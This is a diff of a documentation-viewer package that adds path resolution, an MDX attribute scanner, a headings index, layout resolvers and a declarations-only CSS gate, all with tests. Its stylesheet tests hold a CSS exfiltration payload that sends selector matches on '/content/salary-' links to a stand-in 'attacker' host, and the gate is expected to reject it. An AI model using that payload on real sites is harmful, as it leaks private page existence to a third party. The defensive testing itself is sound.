@immediately-run/grove 0.1.2 → 0.1.4

package/src/lib/agentTranscript.ts

@@ -0,0 +1,50 @@
+// Transcript mapping (GROVE_AGENT_SPEC S2): the loop's AgentMessage[] → the rows
+// the panel renders. Tool traffic becomes compact activity rows ("read
+// wiki/security.mdx", "queried the index") — the model's own text streams as
+// assistant rows, and nothing from a tool result is rendered unfenced into the
+// transcript surface.
+
+import type { AgentMessage } from '@immediately-run/sdk';
+import { READ_ENTRY_TOOL_NAME } from './agentTools';
+import { METADATA_QUERY_TOOL_NAME } from '@immediately-run/sdk';
+
+export type AgentRow =
+  | { kind: 'user'; text: string }
+  | { kind: 'assistant'; text: string }
+  | { kind: 'activity'; text: string };
+
+/** One tool call, as a line the reader can scan. */
+export function toolActivityLine(name: string, input: Record<string, unknown>): string {
+  if (name === READ_ENTRY_TOOL_NAME) return `read ${String(input.path ?? '?')}`;
+  if (name === METADATA_QUERY_TOOL_NAME) {
+    const w = input.where;
+    if (Array.isArray(w) && w.length) {
+      const first = w[0] as { key?: unknown; value?: unknown };
+      return `queried the index — ${String(first.key ?? '')} ${String(first.value ?? '')}`.trim();
+    }
+    return 'queried the index';
+  }
+  return name;
+}
+
+export function transcriptToRows(messages: AgentMessage[]): AgentRow[] {
+  const rows: AgentRow[] = [];
+  for (const m of messages) {
+    if (m.role === 'user') {
+      const toolResults = m.content.filter((b) => b.type === 'tool_result');
+      if (toolResults.length) continue; // activity, rendered at its tool_use site
+      const text = m.content
+        .filter((b): b is { type: 'text'; text: string } => b.type === 'text')
+        .map((b) => b.text)
+        .join('');
+      if (text.trim()) rows.push({ kind: 'user', text: text.trim() });
+    } else {
+      const blocks = m.content;
+      for (const b of blocks) {
+        if (b.type === 'text' && b.text.trim()) rows.push({ kind: 'assistant', text: b.text.trim() });
+        else if (b.type === 'tool_use') rows.push({ kind: 'activity', text: toolActivityLine(b.name, b.input) });
+      }
+    }
+  }
+  return rows;
+}

package/src/lib/assetPath.test.ts

@@ -0,0 +1,36 @@
+// The pure resolver (R3-313): entry-relative resolution against the OWNING entry,
+// the absolute-`/` escape, traversal, and the degrade-to-empty contract.
+import { describe, it, expect } from 'vitest';
+import { resolvePath, entryAssetRelPath } from './assetPath';
+
+describe('resolvePath', () => {
+  it('resolves relative to the base file directory', () => {
+    expect(resolvePath('/app/content/wiki/a.mdx', 'pic.png')).toBe('/app/content/wiki/pic.png');
+    expect(resolvePath('/app/content/wiki/a.mdx', './pic.png')).toBe('/app/content/wiki/pic.png');
+    expect(resolvePath('/app/content/wiki/a.mdx', '../img/pic.png')).toBe('/app/content/img/pic.png');
+    expect(resolvePath('/app/content/wiki/deep/a.mdx', '../../pic.png')).toBe('/app/content/pic.png');
+  });
+
+  it('an absolute reference roots at the filesystem (the body-image escape rule)', () => {
+    expect(resolvePath('/app/content/wiki/a.mdx', '/app/assets/x.svg')).toBe('/app/assets/x.svg');
+  });
+});
+
+describe('entryAssetRelPath — the MountImage feed', () => {
+  it('strips the root for the root-anchored mount', () => {
+    expect(entryAssetRelPath('/app/content/wiki/a.mdx', 'pic.png')).toBe('app/content/wiki/pic.png');
+  });
+
+  it('empty/absent/malformed src degrades to "" (caller renders the lattice)', () => {
+    expect(entryAssetRelPath('/app/content/a.mdx', undefined)).toBe('');
+    expect(entryAssetRelPath('/app/content/a.mdx', null)).toBe('');
+    expect(entryAssetRelPath('/app/content/a.mdx', '')).toBe('');
+    expect(entryAssetRelPath('/app/content/a.mdx', '   ')).toBe('');
+  });
+
+  it('UNDER DISPATCH the resolved path carries the chroot prefix only as the READ key — the component publishes MountImage object URLs, never this string', () => {
+    // The mount key space is the metadata key space; resolution is prefix-faithful…
+    expect(entryAssetRelPath('/mnt/abc123def456/wiki/a.mdx', 'pic.png')).toBe('mnt/abc123def456/wiki/pic.png');
+    // …which is exactly why the COMPONENT test asserts this string never reaches the DOM.
+  });
+});

package/src/lib/assetPath.ts

@@ -0,0 +1,42 @@
+// Entry-relative asset resolution (R3-313) — the ONE place that turns "an entry's
+// `cover:`/`img src`" into the fs path the SDK's `MountImage` reads.
+//
+// The distinction this module exists for: a body image resolves against the entry
+// CURRENTLY BEING RENDERED (`navigationState.sandboxPath` — `AssetImage`), while a
+// cover resolves against its OWNING entry — the entry the card/row/tile is ABOUT,
+// which under dispatch is usually a DIFFERENT base. Getting this wrong is not a bug
+// in `AssetImage`; it is the second half of design-pass gap 7: a `<DocList>` card or
+// `<Timeline>` row showing another entry's picture resolved against the wrong base
+// by construction.
+//
+// Pure path arithmetic — no fs, no React — so the dispatch guarantee (the chroot
+// prefix is host knowledge the viewer reads THROUGH but never publishes) is testable
+// here in isolation.
+
+/** Resolve `relativePath` against the directory of `basePath` (both fs paths). */
+export function resolvePath(basePath: string, relativePath: string): string {
+  if (relativePath.startsWith('/')) return relativePath;
+  const parts = basePath.split('/');
+  parts.pop(); // the base is the entry's FILE path; assets resolve against its dir
+  for (const part of relativePath.split('/')) {
+    if (part === '.' || part === '') continue;
+    if (part === '..') parts.pop();
+    else parts.push(part);
+  }
+  return parts.join('/');
+}
+
+/**
+ * The mount-relative path `MountImage` should read an entry-declared asset at.
+ *
+ * @param entryPath the OWNING entry's absolute fs path (the metadata key space —
+ *        `/app/content/…` fork, `/mnt/<hash>/…` dispatch)
+ * @param src the declared asset reference (entry-relative, or absolute `/…` which
+ *        roots at the filesystem — the same escape rule body images follow)
+ * @returns the path with the leading slash stripped (root-mount-relative), or `''`
+ *          when there is nothing to resolve (caller degrades)
+ */
+export function entryAssetRelPath(entryPath: string, src: string | undefined | null): string {
+  if (typeof src !== 'string' || !src.trim()) return '';
+  return resolvePath(entryPath, src.trim()).replace(/^\/+/, '');
+}

package/src/lib/collectionCalls.test.ts

@@ -0,0 +1,69 @@
+// The bucket-C gate (R3-309): every documented collection call uses LITERAL
+// attributes only. The interpreter copies `paginate="infinite"` verbatim but
+// drops `paginate={mode}` SILENTLY — the list renders whole with nothing saying
+// why, which is the one failure a corpus author cannot diagnose from inside.
+//
+// The scanner is pure over strings (fault-injectable); the test drives it over
+// every .mdx in content/ — the starters and the sample corpus alike — because a
+// shipped example with an expression prop is a lesson in the failure.
+import { describe, it, expect } from 'vitest';
+import { readFileSync, readdirSync } from 'node:fs';
+import { join } from 'node:path';
+
+/** The components whose calls select collection shapes (the manifest's
+ *  `collections` section rides on these). */
+export const COLLECTION_COMPONENTS = ['DocList', 'Timeline', 'ChildPages', 'DocsByTag'] as const;
+
+/** Every attribute written as an expression (`attr={…}`) on a collection call.
+ *  MDX attribute syntax only; braces inside fenced code are never calls. */
+export function expressionPropsOf(source: string): string[] {
+  const out: string[] = [];
+  const tagRe = new RegExp(`<(${COLLECTION_COMPONENTS.join('|')})[\\s>]`, 'g');
+  for (const m of source.matchAll(tagRe)) {
+    // The tag's span: from the match to the closing `/>` or the matching `>`.
+    const start = m.index!;
+    const end = source.indexOf('/>', start);
+    const end2 = source.indexOf('>', start);
+    const stop = end === -1 ? end2 : Math.min(end, end2);
+    if (stop === -1) continue;
+    const tagText = source.slice(start, stop);
+    for (const a of tagText.matchAll(/(\w+)\s*=\s*\{/g)) out.push(`${m[1]}.${a[1]}`);
+  }
+  return out;
+}
+
+function allMdx(dir = ''): string[] {
+  const out: string[] = [];
+  for (const e of readdirSync(join(process.cwd(), 'content', dir), { withFileTypes: true })) {
+    const rel = dir ? `${dir}/${e.name}` : e.name;
+    if (e.isDirectory()) out.push(...allMdx(rel));
+    else if (e.name.endsWith('.mdx')) out.push(rel);
+  }
+  return out.sort();
+}
+
+describe('collection calls keep their attributes literal (R3-309 bucket C)', () => {
+  it('the scanner finds the corpus (checked > 0), starters included', () => {
+    const files = allMdx();
+    expect(files.length).toBeGreaterThan(10);
+    expect(files.some((f) => f.startsWith('_layouts/'))).toBe(true);
+  });
+
+  it('no expression prop on any collection call in content/', () => {
+    const offenders: string[] = [];
+    for (const f of allMdx()) {
+      const bad = expressionPropsOf(readFileSync(join(process.cwd(), 'content', f), 'utf8'));
+      for (const b of bad) offenders.push(`${f}: ${b}`);
+    }
+    expect(offenders).toEqual([]);
+  });
+
+  it('fault injection: a planted expression prop IS caught', () => {
+    // `paginate="infinite"` is copied verbatim; `paginate={mode}` is dropped
+    // silently. The gate exists for exactly this shape.
+    expect(expressionPropsOf('<DocList shape="grid" paginate={mode} />')).toEqual(['DocList.paginate']);
+    expect(expressionPropsOf('<Timeline limit={n}>x</Timeline>')).toEqual(['Timeline.limit']);
+    // Literals — including string numerals — pass.
+    expect(expressionPropsOf('<DocList shape="grid" limit="4" sort="date" />')).toEqual([]);
+  });
+});

package/src/lib/content.test.ts

@@ -231,10 +231,18 @@ describe('link-space parity (LINK_SPACE_FIXTURE, R3-277b)', () => {
   // packaging's root. The mount-absolute corpus of the fixture is '/app/content'
   // — exactly the fork's — so the corpus-space cases translate verbatim; the
   // fs-rooted/no-corpus case and the chroot collapse are resolver-level (the
-  // checker + SDK suites own them) and are skipped by corpusRoot here.
+  // checker + SDK suites own them) and are skipped by their root field here.
+  //
+  // The root reads NEW-THEN-OLD (`bundleRoot`, else `corpusRoot` — R3-482), matching
+  // the resolver and the docs harness: matching on `corpusRoot` alone would let this
+  // harness go quietly vacuous as fixture cases adopt the new spelling — the filter
+  // would drop them and nothing would go red. An explicit `bundleRoot: null` is a
+  // VALUE ("no bundle root"), not "absent" — it must not fall back.
   const FORK_ROOT = '/app/content';
+  const statedRoot = (c: (typeof LINK_SPACE_FIXTURE)[number]): string | null =>
+    c.bundleRoot !== undefined ? c.bundleRoot : (c.corpusRoot ?? null);
   const contentCases = LINK_SPACE_FIXTURE.filter(
-    (c) => c.corpusRoot === FORK_ROOT && !c.bundleChrooted && c.currentFile !== undefined,
+    (c) => statedRoot(c) === FORK_ROOT && !c.bundleChrooted && c.currentFile !== undefined,
   );
 
   it('the fixture still reaches this harness (non-vacuous)', () => {

package/src/lib/content.ts

@@ -55,6 +55,13 @@ export function isContentEntry(key: string): boolean {
   // counts as an entry in one and not the other is a page that exists but cannot be
   // found — or an index row pointing at a layout wrapper.
   if (!key.startsWith(contentDir())) return false;
+  // R3-309 — underscore-prefixed DIRECTORIES are copy-source, not pages. The canon's
+  // entry rule excludes only the exact `_layout.mdx` filename; `content/_layouts/` (the
+  // layout starters) would otherwise be routable, searchable, indexed pages rendered
+  // mid-catalogue. This is GROVE's rooting-layer policy on top of the canon, not a
+  // second entry rule: the docs corpus has no `_`-directories, so the canon never
+  // needed the rule and grove's starters do.
+  if (/(?:^|\/)_[^/]+\//.test(key.slice(contentDir().length))) return false;
   return isContentEntryPath(key);
 }
 

package/src/lib/contentStylesheet.test.ts

@@ -0,0 +1,80 @@
+// R3-316's grammar gate, adversarially: every forbidden shape is rejected AND
+// NAMED; comment- and string-hidden attempts do not change the verdict; clean
+// declarations pass with their quoted values intact.
+import { describe, it, expect } from 'vitest';
+import { gateStylesheet, blankCssNoise } from './contentStylesheet';
+
+describe('clean sheets pass', () => {
+  it('declarations-only CSS is admitted, quoted values intact', () => {
+    const v = gateStylesheet('--bg: #101010;\n--font-body: "Lora", serif;\n');
+    expect(v.ok).toBe(true);
+    if (v.ok) expect(v.declarations).toContain('"Lora", serif');
+  });
+
+  it('comments are allowed (and carry no verdict)', () => {
+    const v = gateStylesheet('/* a note */\n--bg: #101010;\n');
+    expect(v.ok).toBe(true);
+  });
+});
+
+describe('the forbidden shapes are rejected and NAMED', () => {
+  const cases: Array<[string, string, RegExp]> = [
+    ['a selector', '.sidebar { display: none; }', /selector/],
+    ['url(', '--wash: url(paper.jpg);', /url\(/],
+    ['@import', '@import url(evil.css);', /@import/],
+    ['@font-face', '@font-face { src: url(a.woff2); }', /@font-face/],
+    ['@layer', '@layer grove.content { }', /layer/],
+    ['a bare property (not a custom prop)', 'color: red;', /custom-property/],
+    ['a media at-rule', '@media (min-width: 600px) { }', /at-rules/],
+  ];
+  for (const [name, css, reasonRe] of cases) {
+    it(`${name} → rejected, line named, excerpt quoted`, () => {
+      const v = gateStylesheet(`--ok: 1;\n${css}\n--ok2: 2;\n`);
+      expect(v.ok).toBe(false);
+      if (!v.ok) {
+        expect(v.line).toBe(2);
+        expect(v.reason).toMatch(reasonRe);
+        expect(v.excerpt.length).toBeGreaterThan(0);
+      }
+    });
+  }
+});
+
+describe('hidden attempts do not change the verdict (the blanking rule)', () => {
+  it('a url( inside a COMMENT is ignored — the comment carries no semantics', () => {
+    expect(gateStylesheet('/* url(nothing-here) */\n--bg: #101010;\n').ok).toBe(true);
+  });
+
+  it('a REAL url( after a decoy comment is still caught', () => {
+    const v = gateStylesheet('/* url(decoy) */\n--wash: url(real-evil.jpg);\n');
+    expect(v.ok).toBe(false);
+    if (!v.ok) expect(v.line).toBe(2);
+  });
+
+  it('a selector-shaped STRING inside a declaration is inert data, not a rule — admitted', () => {
+    // String CONTENTS are blanked for the scan (so nothing inside a string can
+    // smuggle a verdict-changing token) and the line remains a well-formed
+    // declaration; a custom property never re-interprets its value as a rule.
+    const v = gateStylesheet(`--note: "{ display: none; }";\n`);
+    expect(v.ok).toBe(true);
+    if (v.ok) expect(v.declarations).toContain('--note:');
+  });
+
+  it('blankCssNoise preserves offsets (line numbers stay true)', () => {
+    const src = 'a { /* comment\nspanning lines */ }';
+    const blanked = blankCssNoise(src);
+    expect(blanked.indexOf('comment')).toBe(-1);
+    expect(blanked.length).toBe(src.length);
+  });
+});
+
+describe('the existence-oracle payload — the attack the grammar exists for', () => {
+  it('the canonical exfiltration attempt is rejected by name', () => {
+    const attack = `a[href^="/content/salary-"] { background-image: url("https://attacker/?hit"); }`;
+    const v = gateStylesheet(attack);
+    expect(v.ok).toBe(false);
+    // Either catch is a correct rejection: the url( (the exfil channel) or the
+    // selector (the reach). Both are named, line-accurate verdicts.
+    if (!v.ok) expect(v.reason).toMatch(/selector|url\(/);
+  });
+});

package/src/lib/contentStylesheet.ts

@@ -0,0 +1,103 @@
+// The content-stylesheet grammar gate (R3-316; plan 05-content-carried-themes).
+//
+// Author-supplied CSS is contained by a GRAMMAR, not by the CSP: a `ui/stylesheet`
+// entry may carry declarations and NOTHING else. A selector would let it reach
+// the DOM (and hide the theme control); `url(`/`@import`/`@font-face` would let
+// it name a network location — the existence-oracle channel the CSP does not
+// close for an INTERPRETED, SHARED space (no CSP at all there), which is the gap
+// this grammar closes in every stance.
+//
+// Comments and strings are BLANKED (whitespace of equal length, offsets
+// preserved) before the SCAN — a `url(` inside a comment must not decide the
+// outcome, and a selector hidden in a string must not be smuggled through. The
+// EMITTED declarations come from the original bytes (a declaration's quoted
+// values are legitimate: `--font-body: "Lora", serif;`), which is safe precisely
+// because the blanked scan already proved every line is a declaration.
+
+export type GateResult =
+  | { ok: true; declarations: string }
+  | { ok: false; line: number; reason: string; excerpt: string };
+
+/** Blank `/* … *``/` comments and quoted strings with offset-preserving whitespace. */
+export function blankCssNoise(src: string): string {
+  const out = src.split('');
+  const blank = (from: number, to: number): void => {
+    for (let k = from; k < to && k < out.length; k++) if (out[k] !== '\n') out[k] = ' ';
+  };
+  let i = 0;
+  while (i < src.length) {
+    const two = src.slice(i, i + 2);
+    if (two === '/*') {
+      const close = src.indexOf('*/', i + 2);
+      const end = close === -1 ? src.length : close + 2;
+      blank(i, end);
+      i = end;
+    } else if (src[i] === '"' || src[i] === "'") {
+      const quote = src[i];
+      let j = i + 1;
+      while (j < src.length && src[j] !== quote) j += src[j] === '\\' ? 2 : 1;
+      blank(i + 1, Math.min(j, src.length)); // blank the CONTENTS, keep the quotes
+      i = Math.min(j + 1, src.length);
+    } else {
+      i += 1;
+    }
+  }
+  return out.join('');
+}
+
+/** The line number (1-based) an index falls on. */
+function lineOf(src: string, idx: number): number {
+  let line = 1;
+  for (let i = 0; i < idx && i < src.length; i++) if (src[i] === '\n') line += 1;
+  return line;
+}
+
+const REJECTS: Array<{ re: RegExp; reason: string }> = [
+  { re: /@import/i, reason: '@import names a location — declarations only' },
+  { re: /@font-face/i, reason: '@font-face is engine-emitted from declared faces, never authored' },
+  { re: /@layer/i, reason: 'layer order is engine-owned' },
+  { re: /@/i, reason: 'at-rules are not declarations' },
+  { re: /\burl\(/i, reason: 'url( names a location — assets are declared (fonts:/assets:), never named' },
+];
+
+/**
+ * Gate a stylesheet's bytes: declarations only, each line `--token: value;`.
+ * A rejected verdict names the line and quotes it from the original bytes.
+ */
+export function gateStylesheet(css: string): GateResult {
+  const blanked = blankCssNoise(css);
+  // At-rules first, so `@font-face { … }` reports @font-face (the specific
+  // violation) rather than the generic brace catch; url( after both.
+  for (const { re, reason } of REJECTS) {
+    const m = re.exec(blanked);
+    if (m) {
+      const line = lineOf(css, m.index);
+      return { ok: false, line, reason, excerpt: css.split('\n')[line - 1]?.trim().slice(0, 80) ?? '' };
+    }
+  }
+  const braced = blanked.search(/[{}]/);
+  if (braced !== -1) {
+    const line = lineOf(css, braced);
+    return {
+      ok: false,
+      line,
+      reason: 'a selector/rule block — a ui/stylesheet carries declarations only',
+      excerpt: css.split('\n')[line - 1]?.trim().slice(0, 80) ?? '',
+    };
+  }
+  const scanLines = blanked.split('\n');
+  const origLines = css.split('\n');
+  for (let i = 0; i < scanLines.length; i++) {
+    const line = scanLines[i].trim();
+    if (!line) continue;
+    if (!/^--[\w-]+\s*:[^;]*;?$/.test(line)) {
+      return {
+        ok: false,
+        line: i + 1,
+        reason: 'not a custom-property declaration (declarations only, `--token: value;`)',
+        excerpt: origLines[i]?.trim().slice(0, 80) ?? '',
+      };
+    }
+  }
+  return { ok: true, declarations: origLines.map((l) => l.trim()).filter(Boolean).join('\n') };
+}

package/src/lib/corpusScan.test.ts

@@ -90,11 +90,14 @@ describe('scanCorpus — the index a dispatched viewer reads', () => {
     expect(meta['/mnt/c/themes.mdx'].owns).toEqual({ concepts: ['the-frame'] });
   });
 
-  it('keeps an entry with NO frontmatter, with empty metadata', async () => {
+  it('keeps an entry with NO frontmatter, with empty metadata (plus the additive headings field)', async () => {
     // A draft or a bare `_layout.mdx` is still part of the corpus; dropping it would make
-    // the file unroutable rather than merely unlabelled.
+    // the file unroutable rather than merely unlabelled. Since the headings index
+    // extension (GROVE_AGENT_SPEC §4) the row carries its heading list too.
     const fs = fakeFs({ '/mnt/c/raw.mdx': '# just a heading\n' });
-    expect(await scanCorpus('/mnt/c', fs)).toEqual({ '/mnt/c/raw.mdx': {} });
+    expect(await scanCorpus('/mnt/c', fs)).toEqual({
+      '/mnt/c/raw.mdx': { headings: [{ id: 'just-a-heading', text: 'just a heading', depth: 1 }] },
+    });
   });
 
   it('loses only the unreadable entry, never the corpus', async () => {
@@ -155,3 +158,34 @@ describe('parseFrontmatter — the grammar the authoring contract documents', ()
     expect(parseFrontmatter(src).data).toEqual({});
   });
 });
+
+describe('scanCorpus — the additive headings index (GROVE_AGENT_SPEC §4)', () => {
+  it('G-GA-7 — a scan emits headings whose ids match the rendered anchors (the mdx-plugins canon)', async () => {
+    const fs = fakeFs({
+      '/mnt/c/a.mdx': '---\ntitle: A\n---\n\n## 8. Capability model\n\n## Getting started\n\n## Getting started\n',
+    });
+    const meta = await scanCorpus('/mnt/c', fs);
+    expect(meta['/mnt/c/a.mdx']).toMatchObject({
+      title: 'A',
+      headings: [
+        { id: 'sec-8', text: '8. Capability model', depth: 2 },
+        { id: 'getting-started', text: 'Getting started', depth: 2 },
+        { id: 'getting-started-1', text: 'Getting started', depth: 2 },
+      ],
+    });
+  });
+
+  it('the author own `headings` frontmatter key wins over the computed field', async () => {
+    const fs = fakeFs({
+      '/mnt/c/a.mdx': '---\ntitle: A\nheadings: authored\n---\n\n## One\n',
+    });
+    const meta = await scanCorpus('/mnt/c', fs);
+    expect(meta['/mnt/c/a.mdx']).toEqual({ title: 'A', headings: 'authored' });
+  });
+
+  it('a heading-less entry simply lacks the field (the old-index degrade)', async () => {
+    const fs = fakeFs({ '/mnt/c/a.mdx': '---\ntitle: A\n---\n\nprose only\n' });
+    const meta = await scanCorpus('/mnt/c', fs);
+    expect(meta['/mnt/c/a.mdx']).toEqual({ title: 'A' });
+  });
+});

package/src/lib/corpusScan.ts

@@ -21,6 +21,7 @@
 
 import type { Frontmatter } from './frontmatter';
 import { parseFrontmatter } from './frontmatter';
+import { collectHeadings } from '@immediately-run/sdk';
 
 /** The metadata map shape the SDK hooks read (`FilesMetadata`). */
 export type CorpusMetadata = Record<string, Frontmatter>;
@@ -71,7 +72,14 @@ export async function listCorpusFiles(root: string, fs: ScanFs, maxDepth = 12):
   return out.sort();
 }
 
-/** Read + parse a list of entries into the metadata map, bounded-concurrently. */
+/** Read + parse a list of entries into the metadata map, bounded-concurrently.
+ *
+ * The additive headings index extension (GROVE_AGENT_SPEC §4): a dispatched row
+ * carries its entry's `headings: [{id, text, depth}]`, ids from the same
+ * mdx-plugins canon the render path emits (via the SDK's `collectHeadings` — one
+ * implementation, shared with the tool that reads the field). The author's own
+ * frontmatter `headings` key wins; a row with none of either simply lacks the
+ * field (readers degrade to body reads). */
 async function readAll(paths: string[], fs: ScanFs): Promise<CorpusMetadata> {
   const meta: CorpusMetadata = {};
   let next = 0;
@@ -82,7 +90,14 @@ async function readAll(paths: string[], fs: ScanFs): Promise<CorpusMetadata> {
       const path = paths[i];
       try {
         const raw = await fs.readFile(path, 'utf8');
-        meta[path] = parseFrontmatter(raw).data;
+        const parsed = parseFrontmatter(raw);
+        const row = parsed.data;
+        const headings = collectHeadings(parsed.body);
+        if (headings.length && !Object.prototype.hasOwnProperty.call(row, 'headings')) {
+          meta[path] = { ...row, headings } as Frontmatter & { headings?: unknown };
+        } else {
+          meta[path] = row;
+        }
       } catch {
         // One unreadable entry must not empty the whole corpus. It is simply absent from
         // the index — the same state it would be in if the author had not written it.

package/src/lib/inlineProse.parity.test.ts

@@ -0,0 +1,52 @@
+// R3-531 — the parity assertion: `parseInlineProse` agrees with the SDK safe
+// renderer's actual micromark path on the supported subset.
+//
+// The canon test lives in mdx-plugins; this one runs the SAME fixture through
+// `parseSafeMdast` (the real producer — the same published bytes the sandbox
+// resolves, inlined into these tests for exactly that reason) and asserts the
+// first paragraph's inline children, normalised into `InlineProseNode`s, equal
+// what the canon parses. Agreement by parallel implementation is a promise;
+// this is the mechanism.
+import { describe, expect, it } from 'vitest';
+import { parseSafeMdast, type SafeMdastNode } from '@immediately-run/sdk';
+import { INLINE_PROSE_FIXTURE, parseInlineProse, type InlineProseNode } from '@immediately-run/mdx-plugins';
+
+// mdast inline vocabulary → InlineProseNode. Only the supported subset maps;
+// anything else (a link, raw html) the fixture never produces, and a node of
+// that shape failing the deep-equal is the drift alarm firing.
+function toInlineProse(nodes: SafeMdastNode[]): InlineProseNode[] {
+  return nodes.map((n): InlineProseNode => {
+    switch (n.type) {
+      case 'text':
+        return { type: 'text', value: n.value ?? '' };
+      case 'inlineCode':
+        return { type: 'code', value: n.value ?? '' };
+      case 'strong':
+        return { type: 'strong', children: toInlineProse(n.children ?? []) };
+      case 'emphasis':
+        return { type: 'emphasis', children: toInlineProse(n.children ?? []) };
+      default:
+        throw new Error(`unexpected mdast node in a fixture paragraph: ${n.type}`);
+    }
+  });
+}
+
+describe('parseInlineProse matches the safe renderer on the supported subset', () => {
+  for (const c of INLINE_PROSE_FIXTURE) {
+    it(`agrees with parseSafeMdast: ${JSON.stringify(c.text).slice(0, 48)}`, async () => {
+      const tree = await parseSafeMdast(`\n${c.text}\n`);
+      const paragraph = tree.children?.find((n) => n.type === 'paragraph');
+      if (!paragraph) {
+        // The one case micromark renders as NO paragraph — an empty field —
+        // and the canon agrees by returning no nodes at all.
+        expect(c.tokens).toEqual([]);
+        expect(parseInlineProse(c.text)).toEqual([]);
+        return;
+      }
+      expect(toInlineProse(paragraph.children ?? [])).toEqual(c.tokens);
+      // And the canon here in grove's own dependency graph — the version this
+      // repo actually ships — produces the same shape the fixture pins.
+      expect(parseInlineProse(c.text)).toEqual(c.tokens);
+    });
+  }
+});

package/src/lib/layout.ts

@@ -20,6 +20,35 @@ function layoutKeyForDir(dir: string): string {
   return dir + '_layout.mdx';
 }
 
+/**
+ * R3-309 — which nav arrangement the ROOT layout asks for. The root `_layout.mdx`'s
+ * frontmatter may carry `nav: top | nav: side`; anything else (absent, misspelled,
+ * another shape) falls back to `'side'`, the arrangement Grove has always shipped —
+ * an undeclared value must never render an unstyled page. The top arrangement is the
+ * base `.grove-shell` CSS; `side` is the variant, so both polarities of this choice
+ * have rules on the other side of the attribute.
+ */
+export function resolveNavMode(
+  rootLayoutMeta: Record<string, unknown> | undefined,
+): 'top' | 'side' {
+  return rootLayoutMeta?.nav === 'top' ? 'top' : 'side';
+}
+
+/**
+ * R3-309 — which page variant (bucket B) an entry selects. `layout: doc | post |
+ * full` in the entry's frontmatter; anything else — absent, misspelled, a future
+ * value the CSS does not implement — falls back to `'doc'`, the reference look,
+ * rather than rendering an unstyled page. The declared set is exactly what
+ * `GroveApp.css` carries `[data-layout]` rules for; the consistency test pins the
+ * two together.
+ */
+export function resolvePageLayout(
+  entryMeta: Record<string, unknown> | undefined,
+): 'doc' | 'post' | 'full' {
+  const v = entryMeta?.layout;
+  return v === 'post' || v === 'full' ? v : 'doc';
+}
+
 /** Does an entry/layout opt out of an inherited layout chain? `frame: none`
  *  (or `frame: false`) means "render me bare / stop inheritance above here". */
 function optsOut(meta: Record<string, unknown> | undefined): boolean {